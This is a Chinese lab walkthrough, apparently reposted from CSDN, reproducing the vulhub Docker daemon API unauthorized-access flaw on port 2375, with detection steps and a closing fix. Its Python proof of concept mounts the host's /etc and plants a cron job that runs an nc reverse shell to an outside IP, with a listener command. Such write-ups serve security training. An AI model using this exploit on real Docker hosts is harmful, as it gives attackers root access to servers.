19 - vulhub - docker daemon api 未授权访问漏洞

漏洞名称:docker daemon api 未授权访问漏洞

简介:

Docker是一款国内外云平台常用的应用程序轻量级容器,AWS,百度等都有使用。通常用于轻量化部署应用。

在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

漏洞原理

利用 Docker 节点上开放的 TCP 端口 2375 远程执行 Docker 命令,进而可获取服务器 Root 权限。

影响范围

1.目前还在使用的所有版本的 Docker

2.所有使用 Docker swarm 的企业

3.可能影响对 Docker 默认配置进行修改的企业

漏洞复现

环境准备

靶机环境   139.196.87.102  (vulhub)
攻击机环境  192.168.8.137  (虚拟机 Kali 2020.2  、Java1.8、Burp)

启动 docker daemon api 未授权访问漏洞 环境

1.进入 vulhub 的 docker daemon api 未授权访问漏洞 路径
cd /usr/local/tools/vulhub/docker/unauthorized-rce

2.编译并启动环境
docker-compose up -d

3.查看环境运行状态
docker ps | grep rce

在这里插入图片描述


漏洞检测

访问 http://139.196.87.102:2375/version,若能访问并如下图所示,证明存在未授权访问漏洞。


在这里插入图片描述


漏洞利用

POC


import docker

client = docker.DockerClient(base_url='http://139.196.87.102:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 47.98.192.99 22222 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={
    
    '/etc': {
    
    'bind': '/tmp/etc', 'mode': 'rw'}})


在这里插入图片描述


如果kali上运行脚本报错:No module named ssl_match_hostname,可以查看这篇文章解决

验证漏洞利用是否成功

在监听端开启端口监听 nc -lvvp 22222 ,等待反弹shell


在这里插入图片描述


修复建议

限制访问2375端口,不要对外网开放,或者设置ACL

おすすめ

転載: blog.csdn.net/weixin_42250835/article/details/121325427